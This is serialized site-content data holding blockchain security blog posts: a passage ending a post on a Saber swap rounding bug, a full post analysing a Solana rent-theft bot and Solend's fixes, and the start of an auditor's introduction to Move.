U256",{"type":23,"tag":141,"props":3407,"children":3408},{"style":154},[3409],{"type":29,"value":1684},{"type":23,"tag":141,"props":3411,"children":3412},{"class":143,"line":205},[3413,3417,3421,3425,3429,3433],{"type":23,"tag":141,"props":3414,"children":3415},{"style":449},[3416],{"type":29,"value":3387},{"type":23,"tag":141,"props":3418,"children":3419},{"style":449},[3420],{"type":29,"value":1664},{"type":23,"tag":141,"props":3422,"children":3423},{"style":750},[3424],{"type":29,"value":1669},{"type":23,"tag":141,"props":3426,"children":3427},{"style":160},[3428],{"type":29,"value":1674},{"type":23,"tag":141,"props":3430,"children":3431},{"style":750},[3432],{"type":29,"value":1679},{"type":23,"tag":141,"props":3434,"children":3435},{"style":154},[3436],{"type":29,"value":1684},{"type":23,"tag":141,"props":3438,"children":3439},{"class":143,"line":218},[3440,3445,3449,3453,3457,3461],{"type":23,"tag":141,"props":3441,"children":3442},{"style":148},[3443],{"type":29,"value":3444}," for",{"type":23,"tag":141,"props":3446,"children":3447},{"style":750},[3448],{"type":29,"value":1697},{"type":23,"tag":141,"props":3450,"children":3451},{"style":449},[3452],{"type":29,"value":1702},{"type":23,"tag":141,"props":3454,"children":3455},{"style":472},[3456],{"type":29,"value":1707},{"type":23,"tag":141,"props":3458,"children":3459},{"style":160},[3460],{"type":29,"value":1712},{"type":23,"tag":141,"props":3462,"children":3463},{"style":154},[3464],{"type":29,"value":1717},{"type":23,"tag":141,"props":3466,"children":3467},{"class":143,"line":227},[3468,3472,3477,3481,3485],{"type":23,"tag":141,"props":3469,"children":3470},{"style":160},[3471],{"type":29,"value":3004},{"type":23,"tag":141,"props":3473,"children":3474},{"style":750},[3475],{"type":29,"value":3476}," y_prev",{"type":23,"tag":141,"props":3478,"children":3479},{"style":160},[3480],{"type":29,"value":1674},{"type":23,"tag":141,"props":3482,"children":3483},{"style":750},[3484],{"type":29,"value":1669},{"type":23,"tag":141,"props":3486,"children":3487},{"style":154},[3488],{"type":29,"value":1684},{"type":23,"tag":141,"props":3490,"children":3491},{"class":143,"line":241},[3492,3496,3501,3505,3509,3513,3517,3521,3525,3529,3533,3537,3541,3545,3549,3553,3557,3561],{"type":23,"tag":141,"props":3493,"children":3494},{"style":160},[3495],{"type":29,"value":3004},{"type":23,"tag":141,"props":3497,"children":3498},{"style":750},[3499],{"type":29,"value":3500}," y",{"type":23,"tag":141,"props":3502,"children":3503},{"style":160},[3504],{"type":29,"value":1674},{"type":23,"tag":141,"props":3506,"children":3507},{"style":154},[3508],{"type":29,"value":1220},{"type":23,"tag":141,"props":3510,"children":3511},{"style":184},[3512],{"type":29,"value":1761},{"type":23,"tag":141,"props":3514,"children":3515},{"style":154},[3516],{"type":29,"value":192},{"type":23,"tag":141,"props":3518,"children":3519},{"style":160},[3520],{"type":29,"value":1770},{"type":23,"tag":141,"props":3522,"children":3523},{"style":750},[3524],{"type":29,"value":1775},{"type":23,"tag":141,"props":3526,"children":3527},{"style":154},[3528],{"type":29,"value":480},{"type":23,"tag":141,"props":3530,"children":3531},{"style":472},[3532],{"type":29,"value":1049},{"type":23,"tag":141,"props":3534,"children":3535},{"style":154},[3536],{"type":29,"value":1788},{"type":23,"tag":141,"props":3538,"children":3539},{"style":160},[3540],{"type":29,"value":1793},{"type":23,"tag":141,"props":3542,"children":3543},{"style":184},[3544],{"type":29,"value":1798},{"type":23,"tag":141,"props":3546,"children":3547},{"style":154},[3548],{"type":29,"value":192},{"type":23,"tag":141,"props":3550,"children":3551},{"style":750},[3552],{"type":29,"value":1807},{"type":23,"tag":141,"props":3554,"children":3555},{"style":154},[3556],{"type":29,"value":1788},{"type":23,"tag":141,"props":3558,"children":3559},{"style":160},[3560],{"type":29,"value":1816},{"type":23,"tag":141,"props":3562,"children":3563},{"style":154},[3564],{"type":29,"value":758},{"type":23,"tag":141,"props":3566,"children":3567},{"class":143,"line":262},[3568,3572,3576,3581,3585,3589,3593,3597,3601,3605,3609,3613,3617,3621,3625,3629,3633,3637,3641,3645,3649,3653,3657,3661,3665],{"type":23,"tag":141,"props":3569,"children":3570},{"style":160},[3571],{"type":29,"value":3004},{"type":23,"tag":141,"props":3573,"children":3574},{"style":160},[3575],{"type":29,"value":1828},{"type":23,"tag":141,"props":3577,"children":3578},{"style":184},[3579],{"type":29,"value":3580},"checked_div",{"type":23,"tag":141,"props":3582,"children":3583},{"style":154},[3584],{"type":29,"value":192},{"type":23,"tag":141,"props":3586,"children":3587},{"style":184},[3588],{"type":29,"value":1842},{"type":23,"tag":141,"props":3590,"children":3591},{"style":154},[3592],{"type":29,"value":192},{"type":23,"tag":141,"props":3594,"children":3595},{"style":160},[3596],{"type":29,"value":1770},{"type":23,"tag":141,"props":3598,"children":3599},{"style":750},[3600],{"type":29,"value":1775},{"type":23,"tag":141,"props":3602,"children":3603},{"style":154},[3604],{"type":29,"value":480},{"type":23,"tag":141,"props":3606,"children":3607},{"style":472},[3608],{"type":29,"value":1049},{"type":23,"tag":141,"props":3610,"children":3611},{"style":154},[3612],{"type":29,"value":1788},{"type":23,"tag":141,"props":3614,"children":3615},{"style":160},[3616],{"type":29,"value":1793},{"type":23,"tag":141,"props":3618,"children":3619},{"style":184},[3620],{"type":29,"value":1798},{"type":23,"tag":141,"props":3622,"children":3623},{"style":154},[3624],{"type":29,"value":192},{"type":23,"tag":141,"props":3626,"children":3627},{"style":750},[3628],{"type":29,"value":1883},{"type":23,"tag":141,"props":3630,"children":3631},{"style":154},[3632],{"type":29,"value":1788},{"type":23,"tag":141,"props":3634,"children":3635},{"style":160},[3636],{"type":29,"value":1793},{"type":23,"tag":141,"props":3638,"children":3639},{"style":184},[3640],{"type":29,"value":1896},{"type":23,"tag":141,"props":3642,"children":3643},{"style":154},[3644],{"type":29,"value":192},{"type":23,"tag":141,"props":3646,"children":3647},{"style":750},[3648],{"type":29,"value":1905},{"type":23,"tag":141,"props":3650,"children":3651},{"style":154},[3652],{"type":29,"value":1788},{"type":23,"tag":141,"props":3654,"children":3655},{"style":160},[3656],{"type":29,"value":1816},{"type":23,"tag":141,"props":3658,"children":3659},{"style":154},[3660],{"type":29,"value":1788},{"type":23,"tag":141,"props":3662,"children":3663},{"style":160},[3664],{"type":29,"value":1816},{"type":23,"tag":141,"props":3666,"children":3667},{"style":154},[3668],{"type":29,"value":1684},{"type":23,"tag":141,"props":3670,"children":3671},{"class":143,"line":271},[3672,3676,3680,3684,3688,3692],{"type":23,"tag":141,"props":3673,"children":3674},{"style":160},[3675],{"type":29,"value":3004},{"type":23,"tag":141,"props":3677,"children":3678},{"style":148},[3679],{"type":29,"value":233},{"type":23,"tag":141,"props":3681,"children":3682},{"style":750},[3683],{"type":29,"value":1669},{"type":23,"tag":141,"props":3685,"children":3686},{"style":160},[3687],{"type":29,"value":1942},{"type":23,"tag":141,"props":3689,"children":3690},{"style":750},[3691],{"type":29,"value":3396},{"type":23,"tag":141,"props":3693,"children":3694},{"style":154},[3695],{"type":29,"value":1951},{"type":23,"tag":141,"props":3697,"children":3698},{"class":143,"line":293},[3699,3703,3707,3711,3715,3719,3723,3727,3731,3735,3739,3743,3747,3751,3755,3759,3763,3767,3771,3775,3779,3783,3787],{"type":23,"tag":141,"props":3700,"children":3701},{"style":160},[3702],{"type":29,"value":3058},{"type":23,"tag":141,"props":3704,"children":3705},{"style":449},[3706],{"type":29,"value":1725},{"type":23,"tag":141,"props":3708,"children":3709},{"style":154},[3710],{"type":29,"value":1220},{"type":23,"tag":141,"props":3712,"children":3713},{"style":750},[3714],{"type":29,"value":1734},{"type":23,"tag":141,"props":3716,"children":3717},{"style":154},[3718],{"type":29,"value":480},{"type":23,"tag":141,"props":3720,"children":3721},{"style":750},[3722],{"type":29,"value":1743},{"type":23,"tag":141,"props":3724,"children":3725},{"style":154},[3726],{"type":29,"value":1748},{"type":23,"tag":141,"props":3728,"children":3729},{"style":160},[3730],{"type":29,"value":1377},{"type":23,"tag":141,"props":3732,"children":3733},{"style":154},[3734],{"type":29,"value":1220},{"type":23,"tag":141,"props":3736,"children":3737},{"style":184},[3738],{"type":29,"value":1761},{"type":23,"tag":141,"props":3740,"children":3741},{"style":154},[3742],{"type":29,"value":192},{"type":23,"tag":141,"props":3744,"children":3745},{"style":160},[3746],{"type":29,"value":1770},{"type":23,"tag":141,"props":3748,"children":3749},{"style":750},[3750],{"type":29,"value":1775},{"type":23,"tag":141,"props":3752,"children":3753},{"style":154},[3754],{"type":29,"value":480},{"type":23,"tag":141,"props":3756,"children":3757},{"style":472},[3758],{"type":29,"value":1049},{"type":23,"tag":141,"props":3760,"children":3761},{"style":154},[3762],{"type":29,"value":1788},{"type":23,"tag":141,"props":3764,"children":3765},{"style":160},[3766],{"type":29,"value":1793},{"type":23,"tag":141,"props":3768,"children":3769},{"style":184},[3770],{"type":29,"value":1798},{"type":23,"tag":141,"props":3772,"children":3773},{"style":154},[3774],{"type":29,"value":192},{"type":23,"tag":141,"props":3776,"children":3777},{"style":750},[3778],{"type":29,"value":1807},{"type":23,"tag":141,"props":3780,"children":3781},{"style":154},[3782],{"type":29,"value":1788},{"type":23,"tag":141,"props":3784,"children":3785},{"style":160},[3786],{"type":29,"value":1816},{"type":23,"tag":141,"props":3788,"children":3789},{"style":154},[3790],{"type":29,"value":758},{"type":23,"tag":141,"props":3792,"children":3793},{"class":143,"line":801},[3794,3798,3802,3806,3810,3814,3818,3822,3826,3830,3834,3838,3842,3846,3850,3854,3858,3862,3866,3870,3874,3878,3882,3886,3890],{"type":23,"tag":141,"props":3795,"children":3796},{"style":160},[3797],{"type":29,"value":3058},{"type":23,"tag":141,"props":3799,"children":3800},{"style":160},[3801],{"type":29,"value":1828},{"type":23,"tag":141,"props":3803,"children":3804},{"style":184},[3805],{"type":29,"value":1833},{"type":23,"tag":141,"props":3807,"children":3808},{"style":154},[3809],{"type":29,"value":192},{"type":23,"tag":141,"props":3811,"children":3812},{"style":184},[3813],{"type":29,"value":1842},{"type":23,"tag":141,"props":3815,"children":3816},{"style":154},[3817],{"type":29,"value":192},{"type":23,"tag":141,"props":3819,"children":3820},{"style":160},[3821],{"type":29,"value":1770},{"type":23,"tag":141,"props":3823,"children":3824},{"style":750},[3825],{"type":29,"value":1775},{"type":23,"tag":141,"props":3827,"children":3828},{"style":154},[3829],{"type":29,"value":480},{"type":23,"tag":141,"props":3831,"children":3832},{"style":472},[3833],{"type":29,"value":1049},{"type":23,"tag":141,"props":3835,"children":3836},{"style":154},[3837],{"type":29,"value":1788},{"type":23,"tag":141,"props":3839,"children":3840},{"style":160},[3841],{"type":29,"value":1793},{"type":23,"tag":141,"props":3843,"children":3844},{"style":184},[3845],{"type":29,"value":1798},{"type":23,"tag":141,"props":3847,"children":3848},{"style":154},[3849],{"type":29,"value":192},{"type":23,"tag":141,"props":3851,"children":3852},{"style":750},[3853],{"type":29,"value":1883},{"type":23,"tag":141,"props":3855,"children":3856},{"style":154},[3857],{"type":29,"value":1788},{"type":23,"tag":141,"props":3859,"children":3860},{"style":160},[3861],{"type":29,"value":1793},{"type":23,"tag":141,"props":3863,"children":3864},{"style":184},[3865],{"type":29,"value":1896},{"type":23,"tag":141,"props":3867,"children":3868},{"style":154},[3869],{"type":29,"value":192},{"type":23,"tag":141,"props":3871,"children":3872},{"style":750},[3873],{"type":29,"value":1905},{"type":23,"tag":141,"props":3875,"children":3876},{"style":154},[3877],{"type":29,"value":1788},{"type":23,"tag":141,"props":3879,"children":3880},{"style":160},[3881],{"type":29,"value":1816},{"type":23,"tag":141,"props":3883,"children":3884},{"style":154},[3885],{"type":29,"value":1788},{"type":23,"tag":141,"props":3887,"children":3888},{"style":160},[3889],{"type":29,"value":1816},{"type":23,"tag":141,"props":3891,"children":3892},{"style":154},[3893],{"type":29,"value":1684},{"type":23,"tag":141,"props":3895,"children":3896},{"class":143,"line":810},[3897,3901,3905,3909,3913,3917],{"type":23,"tag":141,"props":3898,"children":3899},{"style":160},[3900],{"type":29,"value":3058},{"type":23,"tag":141,"props":3902,"children":3903},{"style":148},[3904],{"type":29,"value":233},{"type":23,"tag":141,"props":3906,"children":3907},{"style":750},[3908],{"type":29,"value":1937},{"type":23,"tag":141,"props":3910,"children":3911},{"style":160},[3912],{"type":29,"value":1942},{"type":23,"tag":141,"props":3914,"children":3915},{"style":750},[3916],{"type":29,"value":1669},{"type":23,"tag":141,"props":3918,"children":3919},{"style":154},[3920],{"type":29,"value":1951},{"type":23,"tag":141,"props":3922,"children":3923},{"class":143,"line":824},[3924,3929],{"type":23,"tag":141,"props":3925,"children":3926},{"style":148},[3927],{"type":29,"value":3928}," break",{"type":23,"tag":141,"props":3930,"children":3931},{"style":154},[3932],{"type":29,"value":1684},{"type":23,"tag":141,"props":3934,"children":3935},{"class":143,"line":839},[3936,3940,3944,3948],{"type":23,"tag":141,"props":3937,"children":3938},{"style":160},[3939],{"type":29,"value":3058},{"type":23,"tag":141,"props":3941,"children":3942},{"style":154},[3943],{"type":29,"value":1971},{"type":23,"tag":141,"props":3945,"children":3946},{"style":148},[3947],{"type":29,"value":1976},{"type":23,"tag":141,"props":3949,"children":3950},{"style":154},[3951],{"type":29,"value":1951},{"type":23,"tag":141,"props":3953,"children":3954},{"class":143,"line":848},[3955,3959,3963,3967,3971],{"type":23,"tag":141,"props":3956,"children":3957},{"style":160},[3958],{"type":29,"value":3058},{"type":23,"tag":141,"props":3960,"children":3961},{"style":750},[3962],{"type":29,"value":1988},{"type":23,"tag":141,"props":3964,"children":3965},{"style":160},[3966],{"type":29,"value":1674},{"type":23,"tag":141,"props":3968,"children":3969},{"style":750},[3970],{"type":29,"value":1937},{"type":23,"tag":141,"props":3972,"children":3973},{"style":154},[3974],{"type":29,"value":1684},{"type":23,"tag":141,"props":3976,"children":3977},{"class":143,"line":2304},[3978],{"type":23,"tag":141,"props":3979,"children":3980},{"style":154},[3981],{"type":29,"value":3982}," }\n",{"type":23,"tag":24,"props":3984,"children":3985},{"id":1420},[3986],{"type":29,"value":1423},{"type":23,"tag":32,"props":3988,"children":3989},{},[3990],{"type":29,"value":3991},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":23,"tag":32,"props":3993,"children":3994},{},[3995,3997,4003],{"type":29,"value":3996},"Another interesting takeaway is that ",{"type":23,"tag":3998,"props":3999,"children":4000},"strong",{},[4001],{"type":29,"value":4002},"fuzzing can give a false sense of security",{"type":29,"value":4004},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":23,"tag":32,"props":4006,"children":4007},{},[4008,4010,4017],{"type":29,"value":4009},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":23,"tag":55,"props":4011,"children":4014},{"href":4012,"rel":4013},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[59],[4015],{"type":29,"value":4016},"port-mortem of the NSS overflow",{"type":29,"value":322},{"type":23,"tag":32,"props":4019,"children":4020},{},[4021],{"type":23,"tag":2591,"props":4022,"children":4024},{"alt":7,"src":4023},"/posts/spl-swap/p0.png",[],{"type":23,"tag":32,"props":4026,"children":4027},{},[4028],{"type":29,"value":4029},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":23,"tag":32,"props":4031,"children":4032},{},[4033],{"type":29,"value":4034},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":23,"tag":32,"props":4036,"children":4037},{},[4038],{"type":29,"value":4039},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":23,"tag":1508,"props":4041,"children":4042},{},[4043],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":4045},[4046,4047,4048,4049],{"id":1577,"depth":180,"text":1580},{"id":2597,"depth":180,"text":2600},{"id":2902,"depth":180,"text":2905},{"id":1420,"depth":180,"text":1423},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":4054,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":4055,"description":4056,"image":4057,"date":4061,"isFeatured":15,"onBlogPage":15,"tags":4062,"body":4063,"_type":1522,"_id":4387,"_source":1524,"_file":4388,"_stem":4389,"_extension":1527},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":4058,"width":4059,"height":4060},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[1539,1540],{"type":20,"children":4064,"toc":4380},[4065,4070,4076,4081,4086,4091,4097,4110,4157,4188,4197,4202,4207,4212,4218,4231,4247,4252,4257,4272,4276,4281,4296,4303,4308,4318,4325,4329,4334,4340,4345,4350,4355,4361,4366],{"type":23,"tag":32,"props":4066,"children":4067},{},[4068],{"type":29,"value":4069},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":23,"tag":24,"props":4071,"children":4073},{"id":4072},"background",[4074],{"type":29,"value":4075},"Background",{"type":23,"tag":32,"props":4077,"children":4078},{},[4079],{"type":29,"value":4080},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":23,"tag":32,"props":4082,"children":4083},{},[4084],{"type":29,"value":4085},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":23,"tag":32,"props":4087,"children":4088},{},[4089],{"type":29,"value":4090},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":23,"tag":24,"props":4092,"children":4094},{"id":4093},"the-exploit",[4095],{"type":29,"value":4096},"The Exploit",{"type":23,"tag":32,"props":4098,"children":4099},{},[4100,4102,4108],{"type":29,"value":4101},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":23,"tag":38,"props":4103,"children":4105},{"className":4104},[],[4106],{"type":29,"value":4107},"init_reserve",{"type":29,"value":4109}," function, which creates 6 new accounts to store data about the reserve:",{"type":23,"tag":116,"props":4111,"children":4112},{},[4113,4118,4123,4128,4139,4144],{"type":23,"tag":120,"props":4114,"children":4115},{},[4116],{"type":29,"value":4117},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":23,"tag":120,"props":4119,"children":4120},{},[4121],{"type":29,"value":4122},"reserve liquidity token account - holds deposited tokens",{"type":23,"tag":120,"props":4124,"children":4125},{},[4126],{"type":29,"value":4127},"fee receiver token account - account which will receive origination fees on borrows",{"type":23,"tag":120,"props":4129,"children":4130},{},[4131,4133],{"type":29,"value":4132},"reserve collateral mint account - deposit receipt token, also known as ",{"type":23,"tag":38,"props":4134,"children":4136},{"className":4135},[],[4137],{"type":29,"value":4138},"cTokens",{"type":23,"tag":120,"props":4140,"children":4141},{},[4142],{"type":29,"value":4143},"reserve collateral token account - holds users' collateral tokens",{"type":23,"tag":120,"props":4145,"children":4146},{},[4147,4149,4155],{"type":29,"value":4148},"creator collateral token account - creator's ",{"type":23,"tag":38,"props":4150,"children":4152},{"className":4151},[],[4153],{"type":29,"value":4154},"cToken",{"type":29,"value":4156}," account",{"type":23,"tag":32,"props":4158,"children":4159},{},[4160,4162,4167,4169,4174,4176,4181,4183],{"type":29,"value":4161},"Account creation and initialization are ",{"type":23,"tag":47,"props":4163,"children":4164},{},[4165],{"type":29,"value":4166},"usually",{"type":29,"value":4168}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":23,"tag":38,"props":4170,"children":4172},{"className":4171},[],[4173],{"type":29,"value":4107},{"type":29,"value":4175}," is ",{"type":23,"tag":47,"props":4177,"children":4178},{},[4179],{"type":29,"value":4180},"supposed",{"type":29,"value":4182}," to look like:\n",{"type":23,"tag":2591,"props":4184,"children":4187},{"src":4185,"alt":4186},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":23,"tag":32,"props":4189,"children":4190},{},[4191,4193],{"type":29,"value":4192},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":23,"tag":2591,"props":4194,"children":4196},{"src":4195,"alt":4186},"/posts/rent-thief/attacktransac.png",[],{"type":23,"tag":32,"props":4198,"children":4199},{},[4200],{"type":29,"value":4201},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":23,"tag":32,"props":4203,"children":4204},{},[4205],{"type":29,"value":4206},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":23,"tag":32,"props":4208,"children":4209},{},[4210],{"type":29,"value":4211},"Despite this lost cost, this is pretty annoying...",{"type":23,"tag":24,"props":4213,"children":4215},{"id":4214},"example",[4216],{"type":29,"value":4217},"Example",{"type":23,"tag":32,"props":4219,"children":4220},{},[4221,4223,4230],{"type":29,"value":4222},"Let's take a look at ",{"type":23,"tag":55,"props":4224,"children":4227},{"href":4225,"rel":4226},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[59],[4228],{"type":29,"value":4229},"a real attack",{"type":29,"value":322},{"type":23,"tag":32,"props":4232,"children":4233},{},[4234,4241,4243],{"type":23,"tag":55,"props":4235,"children":4238},{"href":4236,"rel":4237},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[59],[4239],{"type":29,"value":4240},"Transaction 1",{"type":29,"value":4242},":\n",{"type":23,"tag":2591,"props":4244,"children":4246},{"alt":7,"src":4245},"https://i.imgur.com/xJvIwgc.png",[],{"type":23,"tag":32,"props":4248,"children":4249},{},[4250],{"type":29,"value":4251},"(...more accounts truncated)",{"type":23,"tag":32,"props":4253,"children":4254},{},[4255],{"type":29,"value":4256},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":23,"tag":32,"props":4258,"children":4259},{},[4260,4267,4268],{"type":23,"tag":55,"props":4261,"children":4264},{"href":4262,"rel":4263},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[59],[4265],{"type":29,"value":4266},"Attacker's Transaction",{"type":29,"value":4242},{"type":23,"tag":2591,"props":4269,"children":4271},{"alt":7,"src":4270},"https://i.imgur.com/CpSKuL3.png",[],{"type":23,"tag":32,"props":4273,"children":4274},{},[4275],{"type":29,"value":4251},{"type":23,"tag":32,"props":4277,"children":4278},{},[4279],{"type":29,"value":4280},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":23,"tag":32,"props":4282,"children":4283},{},[4284,4291,4292],{"type":23,"tag":55,"props":4285,"children":4288},{"href":4286,"rel":4287},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[59],[4289],{"type":29,"value":4290},"Transaction 2",{"type":29,"value":4242},{"type":23,"tag":2591,"props":4293,"children":4295},{"alt":7,"src":4294},"https://i.imgur.com/of0GIdw.png",[],{"type":23,"tag":32,"props":4297,"children":4298},{},[4299],{"type":23,"tag":2591,"props":4300,"children":4302},{"alt":7,"src":4301},"https://i.imgur.com/0STSyv8.png",[],{"type":23,"tag":32,"props":4304,"children":4305},{},[4306],{"type":29,"value":4307},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":23,"tag":32,"props":4309,"children":4310},{},[4311,4317],{"type":23,"tag":55,"props":4312,"children":4315},{"href":4313,"rel":4314},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[59],[4316],{"type":29,"value":4266},{"type":29,"value":114},{"type":23,"tag":32,"props":4319,"children":4320},{},[4321],{"type":23,"tag":2591,"props":4322,"children":4324},{"alt":7,"src":4323},"https://i.imgur.com/AmSPdmy.png",[],{"type":23,"tag":32,"props":4326,"children":4327},{},[4328],{"type":29,"value":4251},{"type":23,"tag":32,"props":4330,"children":4331},{},[4332],{"type":29,"value":4333},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":23,"tag":24,"props":4335,"children":4337},{"id":4336},"impact",[4338],{"type":29,"value":4339},"Impact",{"type":23,"tag":32,"props":4341,"children":4342},{},[4343],{"type":29,"value":4344},"Rent-thieving attacks don't steal much money.",{"type":23,"tag":32,"props":4346,"children":4347},{},[4348],{"type":29,"value":4349},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":23,"tag":32,"props":4351,"children":4352},{},[4353],{"type":29,"value":4354},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":23,"tag":24,"props":4356,"children":4358},{"id":4357},"solution",[4359],{"type":29,"value":4360},"Solution",{"type":23,"tag":32,"props":4362,"children":4363},{},[4364],{"type":29,"value":4365},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":23,"tag":32,"props":4367,"children":4368},{},[4369,4371,4378],{"type":29,"value":4370},"As a more permenant solution, Solend implemented ",{"type":23,"tag":55,"props":4372,"children":4375},{"href":4373,"rel":4374},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[59],[4376],{"type":29,"value":4377},"an onchain program",{"type":29,"value":4379}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":180,"depth":180,"links":4381},[4382,4383,4384,4385,4386],{"id":4072,"depth":180,"text":4075},{"id":4093,"depth":180,"text":4096},{"id":4214,"depth":180,"text":4217},{"id":4336,"depth":180,"text":4339},{"id":4357,"depth":180,"text":4360},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":4391,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":4392,"description":4393,"author":10,"image":4394,"date":4398,"isFeatured":15,"onBlogPage":15,"body":4399,"_type":1522,"_id":7935,"_source":1524,"_file":7936,"_stem":7937,"_extension":1527},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.",{"src":4395,"height":4396,"width":4397},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":20,"children":4400,"toc":7930},[4401,4406,4411,4430,4436,4448,4546,4554,4674,4682,4704,4857,4862,5120,5141,5176,5181,5201,5206,5217,5229,5441,5453,5467,5480,5737,5749,5971,5976,6004,6150,6169,6174,6439,6451,6456,6469,6475,6480,6485,6497,6511,6516,6615,6627,6640,6914,6919,6931,6936,6990,7010,7015,7899,7903,7908,7913,7926],{"type":23,"tag":32,"props":4402,"children":4403},{},[4404],{"type":29,"value":4405},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":23,"tag":32,"props":4407,"children":4408},{},[4409],{"type":29,"value":4410},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":23,"tag":32,"props":4412,"children":4413},{},[4414,4416,4421,4423,4428],{"type":29,"value":4415},"In this piece I'll seek to discuss exactly ",{"type":23,"tag":47,"props":4417,"children":4418},{},[4419],{"type":29,"value":4420},"how",{"type":29,"value":4422}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":23,"tag":47,"props":4424,"children":4425},{},[4426],{"type":29,"value":4427},"structurally",{"type":29,"value":4429}," safer programs.",{"type":23,"tag":24,"props":4431,"children":4433},{"id":4432},"types",[4434],{"type":29,"value":4435},"Types",{"type":23,"tag":32,"props":4437,"children":4438},{},[4439,4441,4447],{"type":29,"value":4440},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":23,"tag":38,"props":4442,"children":4444},{"className":4443},[],[4445],{"type":29,"value":4446},"coin.move",{"type":29,"value":322},{"type":23,"tag":131,"props":4449,"children":4451},{"className":1639,"code":4450,"language":1638,"meta":7,"style":7}," /// Main structure representing a coin/token in an account's custody.\n struct 